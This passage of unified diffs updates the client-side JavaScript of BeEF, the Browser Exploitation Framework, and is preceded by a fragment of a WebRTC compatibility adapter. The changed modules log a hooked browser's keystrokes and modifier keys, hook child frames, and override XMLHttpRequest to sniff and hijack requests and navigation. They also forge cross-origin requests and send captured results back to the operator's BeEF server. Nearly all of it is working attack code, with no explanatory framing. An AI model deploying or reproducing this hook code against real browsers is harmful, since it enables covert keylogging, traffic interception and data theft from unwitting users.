|
||||
if (pcConfig.iceServers[i]['urls'].length > 0) {
|
||||
// In FF - we just take the FIRST STUN Server
|
||||
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'][0];
|
||||
} else {
|
||||
pcConfig.iceServers[i]['url'] = pcConfig.iceServers[i]['urls'];
|
||||
}
|
||||
delete pcConfig.iceServers[i]['urls'];
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (navigator.mozGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = "firefox";
|
||||
|
||||
webrtcDetectedVersion =
|
||||
parseInt(navigator.userAgent.match(/Firefox\/([0-9]+)\./)[1], 10);
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
var RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
// .urls is not supported in FF yet.
|
||||
maybeFixConfiguration(pcConfig);
|
||||
return new mozRTCPeerConnection(pcConfig, pcConstraints);
|
||||
}
|
||||
|
||||
// The RTCSessionDescription object.
|
||||
RTCSessionDescription = mozRTCSessionDescription;
|
||||
|
||||
// The RTCIceCandidate object.
|
||||
RTCIceCandidate = mozRTCIceCandidate;
|
||||
|
||||
// Get UserMedia (only difference is the prefix).
|
||||
// Code from Adam Barth.
|
||||
getUserMedia = navigator.mozGetUserMedia.bind(navigator);
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Creates iceServer from the url for FF.
|
||||
createIceServer = function(url, username, password) {
|
||||
var iceServer = null;
|
||||
var url_parts = url.split(':');
|
||||
if (url_parts[0].indexOf('stun') === 0) {
|
||||
// Create iceServer with stun url.
|
||||
iceServer = { 'url': url };
|
||||
} else if (url_parts[0].indexOf('turn') === 0) {
|
||||
if (webrtcDetectedVersion < 27) {
|
||||
// Create iceServer with turn url.
|
||||
// Ignore the transport parameter from TURN url for FF version <=27.
|
||||
var turn_url_parts = url.split("?");
|
||||
// Return null for createIceServer if transport=tcp.
|
||||
if (turn_url_parts.length === 1 ||
|
||||
turn_url_parts[1].indexOf('transport=udp') === 0) {
|
||||
iceServer = {'url': turn_url_parts[0],
|
||||
'credential': password,
|
||||
'username': username};
|
||||
}
|
||||
} else {
|
||||
// FF 27 and above supports transport parameters in TURN url,
|
||||
// So passing in the full url to create iceServer.
|
||||
iceServer = {'url': url,
|
||||
'credential': password,
|
||||
'username': username};
|
||||
}
|
||||
}
|
||||
return iceServer;
|
||||
};
|
||||
|
||||
createIceServers = function(urls, username, password) {
|
||||
var iceServers = [];
|
||||
// Use .url for FireFox.
|
||||
for (i = 0; i < urls.length; i++) {
|
||||
var iceServer = createIceServer(urls[i],
|
||||
username,
|
||||
password);
|
||||
if (iceServer !== null) {
|
||||
iceServers.push(iceServer);
|
||||
}
|
||||
}
|
||||
return iceServers;
|
||||
}
|
||||
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
console.log("Attaching media stream");
|
||||
element.mozSrcObject = stream;
|
||||
element.play();
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
console.log("Reattaching media stream");
|
||||
to.mozSrcObject = from.mozSrcObject;
|
||||
to.play();
|
||||
};
|
||||
|
||||
// Fake get{Video,Audio}Tracks
|
||||
if (!MediaStream.prototype.getVideoTracks) {
|
||||
MediaStream.prototype.getVideoTracks = function() {
|
||||
return [];
|
||||
};
|
||||
}
|
||||
|
||||
if (!MediaStream.prototype.getAudioTracks) {
|
||||
MediaStream.prototype.getAudioTracks = function() {
|
||||
return [];
|
||||
};
|
||||
}
|
||||
} else if (navigator.webkitGetUserMedia) {
|
||||
|
||||
webrtcDetectedBrowser = "chrome";
|
||||
// Temporary fix until crbug/374263 is fixed.
|
||||
// Setting Chrome version to 999, if version is unavailable.
|
||||
var result = navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./);
|
||||
if (result !== null) {
|
||||
webrtcDetectedVersion = parseInt(result[2], 10);
|
||||
} else {
|
||||
webrtcDetectedVersion = 999;
|
||||
}
|
||||
|
||||
// Creates iceServer from the url for Chrome M33 and earlier.
|
||||
createIceServer = function(url, username, password) {
|
||||
var iceServer = null;
|
||||
var url_parts = url.split(':');
|
||||
if (url_parts[0].indexOf('stun') === 0) {
|
||||
// Create iceServer with stun url.
|
||||
iceServer = { 'url': url };
|
||||
} else if (url_parts[0].indexOf('turn') === 0) {
|
||||
// Chrome M28 & above uses below TURN format.
|
||||
iceServer = {'url': url,
|
||||
'credential': password,
|
||||
'username': username};
|
||||
}
|
||||
return iceServer;
|
||||
};
|
||||
|
||||
// Creates iceServers from the urls for Chrome M34 and above.
|
||||
createIceServers = function(urls, username, password) {
|
||||
var iceServers = [];
|
||||
if (webrtcDetectedVersion >= 34) {
|
||||
// .urls is supported since Chrome M34.
|
||||
iceServers = {'urls': urls,
|
||||
'credential': password,
|
||||
'username': username };
|
||||
} else {
|
||||
for (i = 0; i < urls.length; i++) {
|
||||
var iceServer = createIceServer(urls[i],
|
||||
username,
|
||||
password);
|
||||
if (iceServer !== null) {
|
||||
iceServers.push(iceServer);
|
||||
}
|
||||
}
|
||||
}
|
||||
return iceServers;
|
||||
};
|
||||
|
||||
// The RTCPeerConnection object.
|
||||
var RTCPeerConnection = function(pcConfig, pcConstraints) {
|
||||
// .urls is supported since Chrome M34.
|
||||
if (webrtcDetectedVersion < 34) {
|
||||
maybeFixConfiguration(pcConfig);
|
||||
}
|
||||
return new webkitRTCPeerConnection(pcConfig, pcConstraints);
|
||||
}
|
||||
|
||||
// Get UserMedia (only difference is the prefix).
|
||||
// Code from Adam Barth.
|
||||
getUserMedia = navigator.webkitGetUserMedia.bind(navigator);
|
||||
navigator.getUserMedia = getUserMedia;
|
||||
|
||||
// Attach a media stream to an element.
|
||||
attachMediaStream = function(element, stream) {
|
||||
if (typeof element.srcObject !== 'undefined') {
|
||||
element.srcObject = stream;
|
||||
} else if (typeof element.mozSrcObject !== 'undefined') {
|
||||
element.mozSrcObject = stream;
|
||||
} else if (typeof element.src !== 'undefined') {
|
||||
element.src = URL.createObjectURL(stream);
|
||||
} else {
|
||||
console.log('Error attaching stream to element.');
|
||||
}
|
||||
};
|
||||
|
||||
reattachMediaStream = function(to, from) {
|
||||
to.src = from.src;
|
||||
};
|
||||
} else {
|
||||
console.log("Browser does not appear to be WebRTC-capable");
|
||||
}
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -43,6 +43,7 @@ beef.logger = {
|
||||
this.y = 0;
|
||||
this.target = null;
|
||||
this.data = null;
|
||||
this.mods = null;
|
||||
},
|
||||
|
||||
/**
|
||||
@@ -50,6 +51,7 @@ beef.logger = {
|
||||
*/
|
||||
start: function() {
|
||||
|
||||
beef.browser.hookChildFrames();
|
||||
this.running = true;
|
||||
var d = new Date();
|
||||
this.time = d.getTime();
|
||||
@@ -232,17 +234,28 @@ beef.logger = {
|
||||
*/
|
||||
parse_stream: function() {
|
||||
var s = '';
|
||||
for (var i in this.stream)
|
||||
{
|
||||
//s += (this.stream[i]['modifiers']['alt']) ? '*alt* ' : '';
|
||||
//s += (this.stream[i]['modifiers']['ctrl']) ? '*ctrl* ' : '';
|
||||
//s += (this.stream[i]['modifiers']['shift']) ? 'Shift+' : '';
|
||||
s += String.fromCharCode(this.stream[i]['char']);
|
||||
var mods = '';
|
||||
for (var i in this.stream){
|
||||
try{
|
||||
var mod = this.stream[i]['modifiers'];
|
||||
s += String.fromCharCode(this.stream[i]['char']);
|
||||
if(typeof mod != 'undefined' &&
|
||||
(mod['alt'] == true ||
|
||||
mod['ctrl'] == true ||
|
||||
mod['shift'] == true)){
|
||||
mods += (mod['alt']) ? ' [Alt] ' : '';
|
||||
mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
|
||||
mods += (mod['shift']) ? ' [Shift] ' : '';
|
||||
mods += String.fromCharCode(this.stream[i]['char']);
|
||||
}
|
||||
|
||||
}catch(e){}
|
||||
}
|
||||
var k = new beef.logger.e();
|
||||
k.type = 'keys';
|
||||
k.target = beef.logger.get_dom_identifier();
|
||||
k.data = s;
|
||||
k.mods = mods;
|
||||
return k;
|
||||
},
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -14,47 +14,30 @@ beef.mitb = {
|
||||
beef.mitb.cid = cid;
|
||||
beef.mitb.curl = curl;
|
||||
/*Override open method to intercept ajax request*/
|
||||
var xml_type;
|
||||
var hook_file = "<%= @hook_file %>";
|
||||
|
||||
if (window.XMLHttpRequest && !(window.ActiveXObject)) {
|
||||
|
||||
xml_type = 'XMLHttpRequest';
|
||||
}
|
||||
|
||||
if (xml_type == "XMLHttpRequest") {
|
||||
beef.mitb.sniff("Method XMLHttpRequest.open override");
|
||||
(function (open) {
|
||||
XMLHttpRequest.prototype.open = function (method, url, async, user, pass) {
|
||||
|
||||
var portRegex = new RegExp(":[0-9]+");
|
||||
var portR = portRegex.exec(url);
|
||||
/*return :port*/
|
||||
var requestPort;
|
||||
|
||||
if (portR != null) {
|
||||
requestPort = portR[0].split(":");
|
||||
}
|
||||
|
||||
if ((user == "beef") && (pass == "beef")) {
|
||||
/*a poisoned something*/
|
||||
open.call(this, method, url, async, null, null);
|
||||
}
|
||||
|
||||
|
||||
else if (url.indexOf("hook.js") != -1 || url.indexOf("/dh?") != -1) {
|
||||
/*a beef hook.js polling or dh */
|
||||
open.call(this, method, url, async, null, null);
|
||||
}
|
||||
|
||||
else {
|
||||
XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
|
||||
// Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
|
||||
// or a request initiated by the MiTB itself.
|
||||
if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
|
||||
open.call(this, method, url, async, true);
|
||||
}else {
|
||||
var portRegex = new RegExp(":[0-9]+");
|
||||
var portR = portRegex.exec(url);
|
||||
var requestPort;
|
||||
if (portR != null) { requestPort = portR[0].split(":")[1]; }
|
||||
|
||||
//GET request
|
||||
if (method == "GET") {
|
||||
//GET request -> cross-origin
|
||||
if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
|
||||
beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
|
||||
window.open(url);
|
||||
|
||||
}
|
||||
else {
|
||||
}else { //GET request -> same-origin
|
||||
beef.mitb.sniff("GET [Ajax Request]: " + url);
|
||||
if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
|
||||
var title = "";
|
||||
@@ -63,26 +46,19 @@ beef.mitb = {
|
||||
} else {
|
||||
title = document.getElementsByTagName("title")[0].innerHTML;
|
||||
}
|
||||
/*write the url of the page*/
|
||||
// write the url of the page
|
||||
history.pushState({ Be:"EF" }, title, url);
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
else {
|
||||
/*if we are here we have an ajax post req*/
|
||||
beef.mitb.sniff("Post ajax request to: " + url);
|
||||
open.call(this, method, url, async, user, pass);
|
||||
|
||||
}else{
|
||||
//POST request
|
||||
beef.mitb.sniff("POST ajax request to: " + url);
|
||||
open.call(this, method, url, async, true);
|
||||
}
|
||||
}
|
||||
};
|
||||
})(XMLHttpRequest.prototype.open);
|
||||
|
||||
}
|
||||
|
||||
},
|
||||
|
||||
// Initializes the hook on anchors and forms.
|
||||
@@ -130,7 +106,7 @@ beef.mitb = {
|
||||
history.pushState({ Be:"EF" }, title, e.currentTarget);
|
||||
}
|
||||
} catch (e) {
|
||||
console.error('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
|
||||
beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
|
||||
}
|
||||
return false;
|
||||
},
|
||||
@@ -161,7 +137,7 @@ beef.mitb = {
|
||||
fetchForm:function (url, query, target) {
|
||||
try {
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('POST', url, false, "beef", "beef");
|
||||
y.open('POST', url, false, true);
|
||||
y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
@@ -181,14 +157,13 @@ beef.mitb = {
|
||||
fetch:function (url, target) {
|
||||
try {
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('GET', url, false, "beef", "beef");
|
||||
y.open('GET', url, false, true);
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
|
||||
target.innerHTML = y.responseText;
|
||||
setTimeout(beef.mitb.hook, 10);
|
||||
}
|
||||
}
|
||||
};
|
||||
y.send(null);
|
||||
beef.mitb.sniff("GET: " + url);
|
||||
return true;
|
||||
@@ -204,7 +179,7 @@ beef.mitb = {
|
||||
try {
|
||||
var target = document.getElementsByTagName("html")[0];
|
||||
var y = new XMLHttpRequest();
|
||||
y.open('GET', url, false, "beef", "beef");
|
||||
y.open('GET', url, false, true);
|
||||
y.onreadystatechange = function () {
|
||||
if (y.readyState == 4 && y.responseText != "") {
|
||||
var title = "";
|
||||
@@ -223,11 +198,9 @@ beef.mitb = {
|
||||
beef.mitb.sniff("GET: " + url);
|
||||
|
||||
} catch (x) {
|
||||
|
||||
|
||||
// the link is cross-origin, so load the resource in a different tab
|
||||
window.open(url);
|
||||
beef.mitb.sniff("GET [New Window]: " + url);
|
||||
|
||||
}
|
||||
},
|
||||
|
||||
@@ -246,4 +219,4 @@ beef.mitb = {
|
||||
}
|
||||
};
|
||||
|
||||
beef.regCmp('beef.mitb');
|
||||
beef.regCmp('beef.mitb');
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
//
|
||||
// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
// See the file 'doc/COPYING' for copying permission
|
||||
//
|
||||
@@ -7,36 +7,50 @@
|
||||
/*!
|
||||
* @literal object: beef.net
|
||||
*
|
||||
* Provides basic networking functions.
|
||||
* Provides basic networking functions,
|
||||
* like beef.net.request and beef.net.forgeRequest,
|
||||
* used by BeEF command modules and the Requester extension,
|
||||
* as well as beef.net.send which is used to return commands
|
||||
* to BeEF server-side components.
|
||||
*
|
||||
* Also, it contains the core methods used by the XHR-polling
|
||||
* mechanism (flush, queue)
|
||||
*/
|
||||
beef.net = {
|
||||
|
||||
host:"<%= @beef_host %>",
|
||||
port:"<%= @beef_port %>",
|
||||
hook:"<%= @beef_hook %>",
|
||||
httpproto:"<%= @beef_proto %>",
|
||||
handler:'/dh',
|
||||
chop:500,
|
||||
pad:30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count:0,
|
||||
cmd_queue:[],
|
||||
host: "<%= @beef_host %>",
|
||||
port: "<%= @beef_port %>",
|
||||
hook: "<%= @beef_hook %>",
|
||||
httpproto: "<%= @beef_proto %>",
|
||||
handler: '/dh',
|
||||
chop: 500,
|
||||
pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
|
||||
sid_count: 0,
|
||||
cmd_queue: [],
|
||||
|
||||
//Command object
|
||||
command:function () {
|
||||
/**
|
||||
* Command object. This represents the data to be sent back to BeEF,
|
||||
* using the beef.net.send() method.
|
||||
*/
|
||||
command: function () {
|
||||
this.cid = null;
|
||||
this.results = null;
|
||||
this.handler = null;
|
||||
this.callback = null;
|
||||
},
|
||||
|
||||
//Packet object
|
||||
packet:function () {
|
||||
/**
|
||||
* Packet object. A single chunk of data. X packets -> 1 stream
|
||||
*/
|
||||
packet: function () {
|
||||
this.id = null;
|
||||
this.data = null;
|
||||
},
|
||||
|
||||
//Stream object
|
||||
stream:function () {
|
||||
/**
|
||||
* Stream object. Contains X packets, which are command result chunks.
|
||||
*/
|
||||
stream: function () {
|
||||
this.id = null;
|
||||
this.packets = [];
|
||||
this.pc = 0;
|
||||
@@ -44,19 +58,20 @@ beef.net = {
|
||||
return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
|
||||
};
|
||||
this.get_packet_data = function () {
|
||||
var p = this.packets.shift();
|
||||
return {'bh':beef.session.get_hook_session_id(), 'sid':this.id, 'pid':p.id, 'pc':this.pc, 'd':p.data }
|
||||
var p = this.packets.shift();
|
||||
return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
|
||||
};
|
||||
},
|
||||
|
||||
/**
|
||||
* Response Object - used in the beef.net.request callback
|
||||
* Note: as we are using async mode, the response object will be empty if returned.Using sync mode, request obj fields will be populated.
|
||||
* NOTE: as we are using async mode, the response object will be empty if returned.
|
||||
* Using sync mode, request obj fields will be populated.
|
||||
*/
|
||||
response:function () {
|
||||
response: function () {
|
||||
this.status_code = null; // 500, 404, 200, 302
|
||||
this.status_text = null; // success, timeout, error, ...
|
||||
this.response_body = null; // "<html>…." if not a cross domain request
|
||||
this.response_body = null; // "<html>…." if not a cross-origin request
|
||||
this.port_status = null; // tcp port is open, closed or not http
|
||||
this.was_cross_domain = null; // true or false
|
||||
this.was_timedout = null; // the user specified timeout was reached
|
||||
@@ -64,8 +79,14 @@ beef.net = {
|
||||
this.headers = null; // full response headers
|
||||
},
|
||||
|
||||
//Queues the command, to be sent back to the framework on the next refresh
|
||||
queue:function (handler, cid, results, callback) {
|
||||
/**
|
||||
* Queues the specified command results.
|
||||
* @param: {String} handler: the server-side handler that will be called
|
||||
* @param: {Integer} cid: command id
|
||||
* @param: {String} results: the data to send
|
||||
* @param: {Function} callback: the function to call after execution
|
||||
*/
|
||||
queue: function (handler, cid, results, callback) {
|
||||
if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback) === 'function')) {
|
||||
var s = new beef.net.command();
|
||||
s.cid = cid;
|
||||
@@ -76,27 +97,41 @@ beef.net = {
|
||||
}
|
||||
},
|
||||
|
||||
//Queues the current command and flushes the queue straight away
|
||||
send:function (handler, cid, results, callback) {
|
||||
if (typeof beef.websocket === "undefined") {
|
||||
/**
|
||||
* Queues the current command results and flushes the queue straight away.
|
||||
* NOTE: Always send Browser Fingerprinting results
|
||||
* (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
|
||||
* even if WebSockets are enabled.
|
||||
* @param: {String} handler: the server-side handler that will be called
|
||||
* @param: {Integer} cid: command id
|
||||
* @param: {String} results: the data to send
|
||||
* @param: {Function} callback: the function to call after execution
|
||||
*/
|
||||
send: function (handler, cid, results, callback) {
|
||||
if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
}
|
||||
else {
|
||||
} else {
|
||||
try {
|
||||
beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
|
||||
'", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
|
||||
'","callback": "' + callback + '","bh":"' + beef.session.get_hook_session_id() + '" }');
|
||||
}
|
||||
catch (e) {
|
||||
} catch (e) {
|
||||
this.queue(handler, cid, results, callback);
|
||||
this.flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
//Flush all currently queued commands to the framework
|
||||
flush:function () {
|
||||
/**
|
||||
* Flush all currently queued command results to the framework,
|
||||
* chopping the data in chunks ('chunk' method) which will be re-assembled
|
||||
* server-side by the network stack.
|
||||
* NOTE: currently 'flush' is used only with the default
|
||||
* XHR-polling mechanism. If WebSockets are used, the data is sent
|
||||
* back to BeEF straight away.
|
||||
*/
|
||||
flush: function () {
|
||||
if (this.cmd_queue.length > 0) {
|
||||
var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
|
||||
this.cmd_queue.length = 0;
|
||||
@@ -119,14 +154,22 @@ beef.net = {
|
||||
}
|
||||
},
|
||||
|
||||
//Split string into chunk lengths determined by amount
|
||||
chunk:function (str, amount) {
|
||||
/**
|
||||
* Split the input data into chunk lengths determined by the amount parameter.
|
||||
* @param: {String} str: the input data
|
||||
* @param: {Integer} amount: chunk length
|
||||
*/
|
||||
chunk: function (str, amount) {
|
||||
if (typeof amount == 'undefined') n = 2;
|
||||
return str.match(RegExp('.{1,' + amount + '}', 'g'));
|
||||
},
|
||||
|
||||
//Push packets to framework
|
||||
push:function (stream) {
|
||||
/**
|
||||
* Push the input stream back to the BeEF server-side components.
|
||||
* It uses beef.net.request to send back the data.
|
||||
* @param: {Object} stream: the stream object to be sent back.
|
||||
*/
|
||||
push: function (stream) {
|
||||
//need to implement wait feature here eventually
|
||||
for (var i = 0; i < stream.pc; i++) {
|
||||
this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10, 'text', null);
|
||||
@@ -134,7 +177,7 @@ beef.net = {
|
||||
},
|
||||
|
||||
/**
|
||||
*Performs http requests
|
||||
* Performs http requests
|
||||
* @param: {String} scheme: HTTP or HTTPS
|
||||
* @param: {String} method: GET or POST
|
||||
* @param: {String} domain: bindshell.net, 192.168.3.4, etc
|
||||
@@ -148,11 +191,11 @@ beef.net = {
|
||||
*
|
||||
* @return: {Object} response: this object contains the response details
|
||||
*/
|
||||
request:function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
|
||||
//check if same domain or cross domain
|
||||
var cross_domain = true;
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
|
||||
if(document.location.port == "" || document.location.port == null){
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
|
||||
if (document.location.port == "" || document.location.port == null) {
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
}
|
||||
}
|
||||
@@ -177,30 +220,29 @@ beef.net = {
|
||||
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
|
||||
* This will turn POSTs into GETs for remote-domain requests.
|
||||
*/
|
||||
if (method == "POST"){
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
if (method == "POST") {
|
||||
$j.ajaxSetup({
|
||||
dataType: dataType
|
||||
});
|
||||
} else {
|
||||
$j.ajaxSetup({
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
//build and execute the request
|
||||
$j.ajax({type:method,
|
||||
url:url,
|
||||
data:data,
|
||||
timeout:(timeout * 1000),
|
||||
$j.ajax({type: method,
|
||||
url: url,
|
||||
data: data,
|
||||
timeout: (timeout * 1000),
|
||||
|
||||
//needed otherwise jQuery always add Content-type: application/xml, even if data is populated
|
||||
beforeSend:function (xhr) {
|
||||
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
|
||||
beforeSend: function (xhr) {
|
||||
if (method == "POST") {
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
}
|
||||
},
|
||||
|
||||
success:function (data, textStatus, xhr) {
|
||||
success: function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
@@ -209,14 +251,14 @@ beef.net = {
|
||||
response.was_timedout = false;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
error:function (jqXHR, textStatus, errorThrown) {
|
||||
error: function (jqXHR, textStatus, errorThrown) {
|
||||
var end_time = new Date().getTime();
|
||||
response.response_body = jqXHR.responseText;
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
complete:function (jqXHR, textStatus) {
|
||||
complete: function (jqXHR, textStatus) {
|
||||
response.status_code = jqXHR.status;
|
||||
response.status_text = textStatus;
|
||||
response.headers = jqXHR.getAllResponseHeaders();
|
||||
@@ -240,23 +282,26 @@ beef.net = {
|
||||
},
|
||||
|
||||
/*
|
||||
* Similar to this.request, except from a few things that are needed when dealing with forged requests:
|
||||
* Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
|
||||
* - requestid: needed on the callback
|
||||
* - allowCrossDomain: set cross-domain requests as allowed or blocked
|
||||
*
|
||||
* forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
|
||||
*/
|
||||
forge_request:function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType, allowCrossDomain, requestid, callback) {
|
||||
|
||||
// check if same domain or cross domain
|
||||
var cross_domain = true;
|
||||
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm,"")) { //strip eventual line breaks
|
||||
if(document.location.port == "" || document.location.port == null){
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
} else {
|
||||
if (document.location.port == port) cross_domain = false;
|
||||
}
|
||||
if (domain == "undefined" || path == "undefined") {
|
||||
return;
|
||||
}
|
||||
if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
|
||||
if (document.location.port == "" || document.location.port == null) {
|
||||
cross_domain = !(port == "80" || port == "443");
|
||||
} else {
|
||||
if (document.location.port == port) cross_domain = false;
|
||||
}
|
||||
}
|
||||
|
||||
// build the url
|
||||
var url = "";
|
||||
if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
|
||||
@@ -285,15 +330,22 @@ beef.net = {
|
||||
return response;
|
||||
}
|
||||
|
||||
// build and execute the request
|
||||
/*
|
||||
* according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
|
||||
* This will turn POSTs into GETs for remote-domain requests.
|
||||
*/
|
||||
if (method == "POST") {
|
||||
$j.ajaxSetup({
|
||||
data:data
|
||||
dataType: dataType
|
||||
});
|
||||
} else {
|
||||
$j.ajaxSetup({
|
||||
dataType: 'script'
|
||||
});
|
||||
}
|
||||
|
||||
// this is required for bugs in IE so data can be transfered back to the server
|
||||
if ( beef.browser.isIE() ) {
|
||||
// this is required for bugs in IE so data can be transferred back to the server
|
||||
if (beef.browser.isIE()) {
|
||||
dataType = 'script'
|
||||
}
|
||||
|
||||
@@ -303,17 +355,15 @@ beef.net = {
|
||||
headers: headers,
|
||||
timeout: (timeout * 1000),
|
||||
|
||||
// needed otherwise jQuery always adds:
|
||||
// Content-type: application/xml
|
||||
// even if data is populated
|
||||
beforeSend:function (xhr) {
|
||||
//This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
|
||||
beforeSend: function (xhr) {
|
||||
if (method == "POST") {
|
||||
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
|
||||
}
|
||||
},
|
||||
|
||||
// http server responded successfully
|
||||
success:function (data, textStatus, xhr) {
|
||||
success: function (data, textStatus, xhr) {
|
||||
var end_time = new Date().getTime();
|
||||
response.status_code = xhr.status;
|
||||
response.status_text = textStatus;
|
||||
@@ -324,7 +374,7 @@ beef.net = {
|
||||
|
||||
// server responded with a http error (403, 404, 500, etc)
|
||||
// or server is not a http server
|
||||
error:function (xhr, textStatus, errorThrown) {
|
||||
error: function (xhr, textStatus, errorThrown) {
|
||||
var end_time = new Date().getTime();
|
||||
response.response_body = xhr.responseText;
|
||||
response.status_code = xhr.status;
|
||||
@@ -332,33 +382,33 @@ beef.net = {
|
||||
response.duration = (end_time - start_time);
|
||||
},
|
||||
|
||||
complete:function (xhr, textStatus) {
|
||||
complete: function (xhr, textStatus) {
|
||||
// cross-domain request
|
||||
if (cross_domain) {
|
||||
|
||||
response.port_status = "crossdomain";
|
||||
response.port_status = "crossdomain";
|
||||
|
||||
if (xhr.status != 0) {
|
||||
response.status_code = xhr.status;
|
||||
} else {
|
||||
response.status_code = -1;
|
||||
}
|
||||
response.status_code = xhr.status;
|
||||
} else {
|
||||
response.status_code = -1;
|
||||
}
|
||||
|
||||
if (textStatus) {
|
||||
response.status_text = textStatus;
|
||||
} else {
|
||||
response.status_text = "crossdomain";
|
||||
}
|
||||
if (textStatus) {
|
||||
response.status_text = textStatus;
|
||||
} else {
|
||||
response.status_text = "crossdomain";
|
||||
}
|
||||
|
||||
if (xhr.getAllResponseHeaders()) {
|
||||
response.headers = xhr.getAllResponseHeaders();
|
||||
} else {
|
||||
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
if (xhr.getAllResponseHeaders()) {
|
||||
response.headers = xhr.getAllResponseHeaders();
|
||||
} else {
|
||||
response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
|
||||
if (!response.response_body) {
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
if (!response.response_body) {
|
||||
response.response_body = "ERROR: Cross Domain Request. The request was sent however it is impossible to view the response.\n";
|
||||
}
|
||||
|
||||
} else {
|
||||
// same-domain request
|
||||
@@ -371,8 +421,16 @@ beef.net = {
|
||||
response.was_timedout = true;
|
||||
response.response_body = "ERROR: Timed out\n";
|
||||
response.port_status = "closed";
|
||||
/*
|
||||
* With IE we need to explicitly set the dataType to "script",
|
||||
* so there will be always parse-errors if the content is != javascript
|
||||
* */
|
||||
